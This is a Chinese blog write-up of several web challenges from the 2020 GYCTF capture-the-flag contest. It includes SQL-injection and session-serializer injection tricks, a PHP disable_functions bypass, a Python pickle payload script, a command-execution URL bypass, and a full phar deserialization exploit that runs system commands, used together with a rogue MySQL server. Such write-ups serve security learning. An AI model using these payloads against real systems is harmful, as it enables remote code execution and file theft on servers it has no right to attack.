高校战“疫”网络安全分享赛 Web Partial WriteUp

点击阅读

sqlcheckin

给出了源码(部分

1
2
3
4
5
6
7
8
9
10
11
12
<?php 
// ...
$pdo = new PDO('mysql:host=localhost;dbname=sqlsql;charset=utf8;', 'xxx', 'xxx');
$pdo->setAttribute(PDO::ATTR_DEFAULT_FETCH_MODE, PDO::FETCH_ASSOC);
$stmt = $pdo->prepare("SELECT username from users where username='${_POST['username']}' and password='${_POST['password']}'");
$stmt->execute();
$result = $stmt->fetchAll();
if (count($result) > 0) {
if ($result[0]['username'] == 'admin') {
include('flag.php');
exit();
// ....

手动测了很久,发现挺严格的

waf 过滤不少字符和语句,最后用字典 fuzz 几次,就得到了 flag,这里利用的是 MySQL 字符串与数字比较会自动转换的一个 trick

image-20200307154020022

PHP-UAF

PHP 7.0 < 7.4 (Unix) - ‘debug_backtrace’ disable_functions Bypass

https://www.exploit-db.com/exploits/48072

https://github.com/mm0r1/exploits/tree/master/php7-backtrace-bypass

测试可以直接 ?cmd=print_r(file_put_contents(%27../111%27,%27test%27)); 写入文件

image-20200308000829347

而且清理的并不及时,经常能看到师傅们留下的脚本

image-20200307235052761

直接使用就行了

image-20200307235157336

flag{SObARsac1TyC0V9B}

webtmp

Python 反序列化

不过过滤了 R 指令而且重写了find_class方法只允许包含__main__这一个 module

所以思路是通过 GLOBAL 指令引入变量,也就是题目中的 secret ,因为原变量的引用。在栈上修改它的值,从而导致原变量也被修改,覆盖原 secret,再最后反序列化即可,原理类似这篇文章:https://zhuanlan.zhihu.com/p/89132768

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
# -*- coding: utf-8 -*-
# @Author: J0k3r
# @Date: 2020-03-07 17:29:27
import pickle
import base64
import pickletools
import secret

class Animal:
def __init__(self, name, category):
self.name = name
self.category = category

def __repr__(self):
return f'Animal(name={self.name!r}, category={self.category!r})'

def __eq__(self, other):
return type(other) is Animal and self.name == other.name and self.category == other.category

obj = Animal('ccc', 'zzz')
pdv3 = pickle.dumps(obj,protocol=3)
p = pickletools.optimize(pdv3)
pickletools.dis(p)
payload_pre = b'\x80\x03c__main__\nsecret\n}(Vname\nVccc\nVcategory\nVzzz\nub0'
payload = payload_pre + p[2:]
print(payload)
pickletools.dis(payload)
pickle_data = base64.b64encode(payload).decode()
print(pickle_data)

image-20200308154240197

flag{409ed945-5b77-4ec3-97e1-b395778842ba}

hackme

www.zip 拿到源码

根据 php_serialize 和 php 两种 session 序列化引擎的不同,在填写签名的时候进行注入

name|s:5:"admin";sign|a:1:{s:5:"admin";i:1;}admin|i:1;

此时访问 /core,得到剩余源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
<?php

require_once('./init.php');
error_reporting(0);
if (check_session($_SESSION)) {
#hint : core/clear.php
$sandbox = './sandbox/' . md5("Mrk@1xI^" . $_SERVER['REMOTE_ADDR']);
echo $sandbox;
@mkdir($sandbox);
@chdir($sandbox);
if (isset($_POST['url'])) {
$url = $_POST['url'];
if (filter_var($url, FILTER_VALIDATE_URL)) {
if (preg_match('/(data:\/\/)|(&)|(\|)|(\.\/)/i', $url)) {
echo "you are hacker";
} else {
$res = parse_url($url);
if (preg_match('/127\.0\.0\.1$/', $res['host'])) {
$code = file_get_contents($url);
if (strlen($code) <= 4) {
@exec($code);
} else {
echo "try again";
}
}
}
} else {
echo "invalid url";
}
} else {
highlight_file(__FILE__);
}
} else {
die('只有管理员才能看到我哟');
}

一看就是 host 绕过 + hitcon 2017 那个 babyfirst-revengev2 执行命令,不过当时这个没做出来,没想到用 url=compress.zlib://data:@127.0.0.1/baidu.com?,ls 绕,我 tcl

webct

题目 www.zip 中给了源码

有 测试mysql服务器、文件上传,再看下 Listfile 类

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
class Listfile
{
public $file;
function __construct($file)
{
$this->file=$file;
}
function listdir(){
system("ls ".$this->file)."<br>";
}
function __call($name, $arguments)
{
system("ls ".$this->file);
}
}

标准的 Mysql Client 任意文件读取 + Phar 反序列化进行 RCE

反序列化 exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
<?php

class Fileupload
{
public $file;
function __construct($file)
{
$this->file = $file;
}
function __destruct()
{
$this->file->xs();
}
}

class Listfile
{
public $file;
function __construct($file)
{
$this->file=$file;
}
function listdir(){
system("ls ".$this->file)."<br>";
}
function __call($name, $arguments)
{
system("ls ".$this->file);
}
}

//$l = new Listfile("/ && curl 127.0.0.1:7777");
$l = new Listfile("/ && /readflag");
$f = new Fileupload($l);
$sf = serialize($f);
var_dump($sf);
$b = unserialize($sf);
$p = new Phar('./pp.phar', 0);
$p->startBuffering();
$p->setStub('GIF89a<?php __HALT_COMPILER(); ?>');
$p->setMetadata($b);
$p->addFromString('test.txt','text');
$p->stopBuffering();
rename('pp.phar', 'pp.gif');

将生成的伪装成 gif 的 phar 文件上传

在自己的服务器上伪造一个 mysql 服务端,可以使用 https://github.com/Gifts/Rogue-MySql-Server/blob/78ebbfcdb6ea986d60fe6dc930c4776f79acaf9a/rogue_mysql_server.py#L41 这个脚本

修改其 filelist 中的文件名为 phar 协议

phar://uploads/15844deb09884fccfd98166aa2c11990/1d00be8e06978e935acb75ad6caad48c.gif/test.txt

image-20200309005549996

服务器启动脚本,本地访问题目测试mysql服务器即可触发

本题 mysqli 的 options 设置的挺坑,要求 int,而网上一些文章都是直接填 MYSQLI_OPT_LOCAL_INFILE ,简直是误导,而且这个就算爆出 PHP Warning,某些环境下还是可以使用 LOAD LOCAL INFILE 语句的,应该和其他配置有关

image-20200309010103319

MYSQLI_OPT_LOCAL_INFILE 值为 8,所以本地 option 传入值为 int 8

image-20200309005048908

image-20200309005358162

flag:flag{bfa7ea9865f08c320abab5323a1b522c1}


http://phoebe233.cn/index.php/archives/27/

https://blog.csdn.net/nzjdsds/article/details/82461112

http://www.pdsdt.lovepdsdt.com/index.php/2020/03/09/187/

文章作者: J0k3r
文章链接: http://j0k3r.top/2020/03/12/GYCTF-2020-WriteUp/
版权声明: 本博客所有文章除特别声明外,均采用 CC BY-NC-SA 4.0 许可协议。转载请注明来自 J0k3r's Blog